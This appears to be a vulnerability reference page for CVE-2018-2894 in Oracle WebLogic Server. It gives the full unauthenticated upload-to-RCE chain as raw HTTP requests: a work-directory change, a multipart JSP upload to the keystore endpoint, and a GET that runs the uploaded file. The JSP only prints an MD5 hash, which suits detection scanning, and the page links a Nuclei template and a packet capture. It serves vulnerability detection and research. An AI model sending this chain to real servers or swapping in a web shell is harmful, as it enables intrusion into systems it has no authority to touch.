CVE-2018-2894: Oracle WebLogic Server - Remote Code Execution

🔍 Vulnerability Description

The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS - Web Services) is susceptible to a remote code execution vulnerability that is easily exploitable and could allow unauthenticated attackers with network access via HTTP to compromise the server. Supported versions that are affected are 12.1.3.0, 12.2.1.2 and 12.2.1.3.

🌐 HTTP Request

POST /ws_utc/resources/setting/options HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Content-Length: 280
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80

POST /ws_utc/resources/setting/keystore HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Connection: close
Content-Length: 1340
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g
Accept-Encoding: gzip

------WebKitFormBoundaryuim0dyiDSPBPu31g

Content-Disposition: form-data; name="ks_name"



38FdBHNU7S6EBP6tEM6VpuWrJMF

------WebKitFormBoundaryuim0dyiDSPBPu31g

Content-Disposition: form-data; name="ks_edit_mode"



false

------WebKitFormBoundaryuim0dyiDSPBPu31g

Content-Disposition: form-data; name="ks_password_front"





------WebKitFormBoundaryuim0dyiDSPBPu31g

Content-Disposition: form-data; name="ks_password"





------WebKitFormBoundaryuim0dyiDSPBPu31g

Content-Disposition: form-data; name="ks_password_changed"



false

------WebKitFormBoundaryuim0dyiDSPBPu31g

Content-Disposition: form-data; name="ks_filename"; filename="38FdBHNU7S6EBP6tEM6VpuWrJMF.jsp"

Content-Type: application/octet-stream



<%@ page import="java.util.*,java.io.*"%>

<%@ page import="java.security.MessageDigest"%>



<%

String cve = "CVE-2018-2894";

MessageDigest alg = MessageDigest.getInstance("MD5");

alg.reset();

alg.update(cve.getBytes());

byte[] digest = alg.digest();

StringBuffer hashedpasswd = new StringBuffer();

String hx;

for (int i=0;i<digest.length;i++){

  hx =  Integer.toHexString(0xFF & digest[i]);

  //0x03 is equal to 0x3, but we need 0x03 for our md5sum

  if(hx.length() == 1){hx = "0" + hx;}

  hashedpasswd.append(hx);

}



out.println(hashedpasswd.toString());

%>

------WebKitFormBoundaryuim0dyiDSPBPu31g--

GET /ws_utc/css/config/keystore/yrkwW1_38FdBHNU7S6EBP6tEM6VpuWrJMF.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-2894.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-2894.pcap